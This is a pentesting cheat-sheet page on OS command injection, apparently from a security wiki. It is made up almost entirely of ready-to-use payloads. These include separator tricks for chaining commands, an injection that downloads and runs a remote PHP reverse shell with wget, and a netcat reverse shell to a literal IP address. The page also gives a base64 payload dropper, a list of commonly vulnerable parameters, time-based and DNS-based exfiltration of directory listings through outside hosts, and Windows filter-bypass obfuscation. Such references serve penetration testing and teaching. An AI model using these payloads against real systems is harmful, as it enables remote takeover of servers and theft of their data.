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Command Injection

What is command Injection?

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From here).

Context

Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.

Command Injection/Execution

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#Both Unix and Windows supported
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ls||id; ls ||id; ls|| id; ls || id # Execute both
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ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
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ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
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ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
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ls %0A id # %0A Execute both (RECOMMENDED)
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#Only unix supported
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`ls` # ``
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$(ls) # $()
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ls; id # ; Chain commands
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#Not execute but may be interesting
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> /var/www/html/out.txt #Try to redirect the output to a file
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< /etc/passwd #Try to send some input to the command
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Bypasses

If you are trying to execute arbitrary commands inside a linux machine you will be interesting in read about this WAF bypasses.

Examples:

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vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
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vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
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vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
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Parameters

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from link):
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?cmd={payload}
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?exec={payload}
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?command={payload}
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?execute{payload}
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?ping={payload}
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?query={payload}
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?jump={payload}
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?code={payload}
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?reg={payload}
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?do={payload}
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?func={payload}
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?arg={payload}
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?option={payload}
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?load={payload}
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?process={payload}
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?step={payload}
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?read={payload}
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?function={payload}
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?req={payload}
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?feature={payload}
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?exe={payload}
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?module={payload}
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?payload={payload}
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?run={payload}
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?print={payload}
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Time based data exfiltration

Extracting data : char by char
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[email protected]▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
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real 0m5.007s
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user 0m0.000s
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sys 0m0.000s
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[email protected]▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
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real 0m0.002s
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user 0m0.000s
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sys 0m0.000s
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DNS based data exfiltration

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca
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1. Go to http://dnsbin.zhack.ca/
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2. Execute a simple 'ls'
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for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
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$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
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Online tools to check for DNS based data exfiltration:
    dnsbin.zhack.ca
    pingb.in

Filtering bypass

Windows

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powershell C:\*\*2\n??e*d.*? # notepad
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@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
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Linux

Brute-Force Detection List

Auto_Wordlists/command_injection.txt at main · carlospolop/Auto_Wordlists
GitHub

References

PayloadsAllTheThings/Command Injection at master · swisskyrepo/PayloadsAllTheThings
GitHub
What is OS command injection, and how to prevent it? | Web Security Academy
WebSecAcademy
Last modified 3mo ago